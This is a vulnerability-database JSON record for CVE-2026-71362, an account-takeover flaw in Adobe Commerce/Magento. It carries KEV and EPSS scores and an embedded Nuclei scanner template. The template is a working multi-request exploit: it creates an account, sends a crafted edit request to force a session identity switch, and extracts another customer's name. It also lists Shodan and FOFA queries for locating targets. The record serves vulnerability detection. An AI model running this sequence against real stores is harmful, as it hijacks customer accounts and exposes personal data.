{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-71362/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-71362/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-71362/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-71362/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-71362/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-71362"},"sightings":{"href":"/api/v1/sightings/cve-2026-71362"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.89616,"kev":true,"percentile":0.99783},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-71362.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-71362\n\ninfo:\n  name: Adobe Commerce/Magento - Customer Session Identity Switch\n  author: 0x_Akoko,dinosn\n  severity: critical\n  description: |\n    Adobe Commerce contains an incorrect authorization vulnerability caused by improper access control, letting attackers escalate privileges to access sensitive resources, exploit requires no user interaction.\n  impact: |\n    Attackers can gain elevated access to sensitive resources, potentially compromising system integrity and data confidentiality.\n  remediation: |\n    Update to the latest version of Adobe Commerce.\n  reference:\n    - https://helpx.adobe.com/security/products/magento/apsb26-92.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-71362\n    - https://sansec.io/research/adobe-commerce-account-takeover-apsb26-92\n    - https://github.com/dinosn/cve-2026-71362-magento-lab\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2026-71362\n    epss-score: 0.89616\n    epss-percentile: 0.99783\n    cwe-id: CWE-863\n  metadata:\n    max-request: 6\n    verified: true\n    vendor: adobe\n    product: magento\n    shodan-query: http.component:\"Magento\"\n    fofa-query: app=\"Magento\"\n  tags: cve,cve2026,magento,adobe-commerce,ato,account-takeover,intrusive,vkev,kev\n\nvariables:\n  rnd: \"{{rand_int(100000, 999999)}}\"\n  email: \"poctest{{rnd}}@poctest.invalid\"\n  password: \"PoCPwd#{{rnd}}\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)\n\nhttp:\n  - raw:\n      - |\n        GET /customer/account/create HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(tolower(body), \"form_key\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: fk\n        group: 1\n        regex:\n          - 'name=\"form_key\"[^>]*value=\"([^\"]+)\"'\n        internal: true\n\n      - type: regex\n        name: sessid\n        part: header\n        group: 1\n        regex:\n          - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /customer/account/createPost HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Cookie: {{sessid}}\n        Referer: {{BaseURL}}/customer/account/create\n\n        form_key={{fk}}&firstname=PoCTestCVE&lastname=Detector&email={{email}}&password={{password}}&password_confirmation={{password}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: sessid\n        part: header\n        group: 1\n        regex:\n          - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /customer/account/edit HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: {{sessid}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"PoCTestCVE\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: fk\n        group: 1\n        regex:\n          - 'name=\"form_key\"[^>]*value=\"([^\"]+)\"'\n        internal: true\n\n      - type: regex\n        name: sessid\n        part: header\n        group: 1\n        regex:\n          - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /customer/account/editPost HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Cookie: {{sessid}}\n        Referer: {{BaseURL}}/customer/account/edit\n\n        form_key={{fk}}&id=1&change_email=1&current_password=wrong-password-forces-exception&email={{email}}&firstname=PoCTestCVE&lastname=Detector\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: sessid\n        part: header\n        group: 1\n        regex:\n          - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /customer/account/edit HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: {{sessid}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: sessid\n        part: header\n        group: 1\n        regex:\n          - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /customer/section/load?sections=customer&force_new_section_timestamp=true HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: {{sessid}}\n        X-Requested-With: XMLHttpRequest\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - '!contains(body, \"PoCTestCVE\")'\n          - 'regex(\"\\\"firstname\\\":\\\"[A-Za-z0-9]\", body)'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: victim_firstname\n        group: 1\n        regex:\n          - '\"firstname\":\"([^\"]+)\"'\n# digest: 4a0a00473045022100c95a5085b02a85d7c713d2bc44127674a23daafc8ae94705b7e5bb72ba932e9902200e5f93b3196fe68b5b3108b8f7534dfab8c18093838838a324cde3501183b864:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-71362"}